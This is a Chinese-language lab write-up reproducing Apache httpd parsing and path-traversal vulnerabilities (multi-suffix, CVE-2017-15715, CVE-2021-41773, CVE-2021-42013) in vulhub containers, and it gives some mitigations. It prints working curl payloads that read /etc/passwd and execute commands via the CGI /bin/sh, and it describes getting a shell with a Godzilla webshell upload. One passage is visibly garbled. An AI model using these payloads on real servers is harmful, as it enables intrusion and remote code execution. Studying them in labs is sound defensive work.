apache 简介:
Apache 是世界使用排名第一的Web 服务器软件。它可以运行在几乎所有广泛使用的 计算机平台上,由于其 跨平台 和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将 Perl/ Python等 解释器编译到服务器中。
一、多后缀名解析漏洞
复现环境: docker : vulhub/httpd/apache_parsing_vulnerability
1、漏洞简介
漏洞成因:
Apache文件解析漏洞与用户的配置有密切的关系,严格来说属于用户配置问题。Apache文件解析漏洞涉及到一个解析文件的特性。Apache默认一个文件可以有多个以点.分割的后缀,当右边的后缀名无法识别,则继续向左识别;因此可以用于文件上传来绕过黑名单导致getshell。
漏洞修复:
-
方案一:httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为*.php.*的访问权限
<FilesMatch ".(php.|php3.|php4.|php5.)"> Order Deny,Allow Deny from all </FilesMatch>
-
方案二:需要保留文件名,可以修改程序源代码,替换上传文件名中的“.”为“_”:
- eg:
$filename = str_replace('.', '_', $filename);
- eg:
2、漏洞复现
踩坑记录:使用docker-compose一键启动时,启动不报错但是就是不能运行容器,查阅资料显示需要升级系统内核到linux 4以上。
复现过程:
-
打开网页,显示一个文件上传的页面,尝试上传普通文件,发现上传失败,只有上传图片才能成功。
-
使用哥斯拉生成一个shell木马,该后缀名为fuck.php.jpg
-
上传成功,使用哥斯拉进行连接,成功getshell.
二、正则过滤解析漏洞( cve-2017-15715)
复现环境: docker : vulhub/httpd/cve-2017-15715
1、漏洞简介
漏洞原理: apache这次解析漏洞的根本原因就是这个 $
,正则表达式中,我们都知道 用 来 匹 配 字 符 串 结 尾 位 置 , 我 们 来 看 看 [ 菜 鸟 教 程 ] ( h t t p : / / w w w . r u n o o b . c o m / r e g e x p / r e g e x p − s y n t a x . h t m l ) 中 对 正 则 表 达 符 ‘ 用来匹配字符串结尾位置,我们来看看 [菜鸟教程]( http://www.runoob.com/regexp/regexp-syntax.html ) 中对正则表达符` 用来匹配字符串结尾位置,我们来看看[菜鸟教程](http://www.runoob.com/regexp/regexp−syntax.html)中对正则表达符‘`的解释:
匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身,请使用 \$。
所以问题就来了,在设置了 RegExp 对象的 Multiline 属性的条件下,$
还会匹配到字符串结尾的换行符。所以如果在上传时,添加一个换行符也能呗正常解析,并且能够绕过系统的黑名单检测。所以理论上只要使用正则来匹配文件后缀名,就有可能存在该漏洞。
漏洞产生条件:
- 获取文件名时不能用
$_FILES['file']['name']
,因为他会自动把换行去掉,这一点有点鸡肋 - 默认的Apache配置即可利用,因为默认Apache配置就使用了
<FileMatch>
2、漏洞复现
-
开启docker环境,访问web页面,同样是一个简单的上传功能,并且一样的对文件后缀做了限制,使用多文件后缀上传,上传成功后发现shell不能解析,说明老是解析漏洞不能使用。
-
修改上传的文件名,在php的后缀处添加换行符“\r",上传成功。此处注意要点:上传是换行符只能使用”\x0A“,而不能是”\x0D\x0A"。此处踩雷:不能直接在php后缀后面加\x0A,不然后导致上传后无法解析,而应添加一个字符然后在HeX模式下修改为0a.
-
使用哥斯拉进行连接,成功getshell.
三、路径遍历漏洞(CVE-2021-41773)
复现环境: docker: vulnhub/httpd/CVE-2021-41773
1、漏洞简介
Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在…/的路径穿越符,当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符,如%2e->.,转换完成后会判断是否存在…/。
如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,原因是在遍历到第一个.字符时,此时检测到后面的两个字符是%2而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测。
如果服务器中配置了cgi的httpd程序中执行bash指令,从而有机会控制服务器。
2、漏洞复现
-
使用docker运行漏洞环境,访问8080端口,是一个apache默认页面。
-
根据漏洞原理,使用curl 获取系统文件内容,成功利用漏洞获取信息。payload如下:
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
3、利用CGI执行命令
payload:
curl --data "echo;whoami" http://192.168.22.140:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
执行效果:
四、路径遍历(CVE-2021-42013)
1、漏洞简介
Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。
影响版本: apache 2.4.49 和apache 2.4.50
2、漏洞复现
Apache HTTP Server 2.4.50版本对CVE-2021-41773的修复可以避免一次url编码导致的路径穿越,但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。
在处理外部HTTP请求时,会调用 ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码,此时就可以使用URL二次编码的方式绕过防御。
payload编码解析过程:
- 假设输入的路径参数为:
/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
。 - 经过ap_normalize_path函数处理后path参数变成
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
。 - 经过unescape_url函数处理后,可以看到此时的url字符串内容变成
/icons/../../../../etc/passwd
。
所以,可以构造以下payload读取文件:结果显示payload成功执行,绕过了cve-2021-41773的防御。
curl -v --path-as-is http://your-ip:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
在有CGI的情况下调用CGI程序:
payload:curl --data "echo;whoami" http://192.168.17.244:8080/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/sh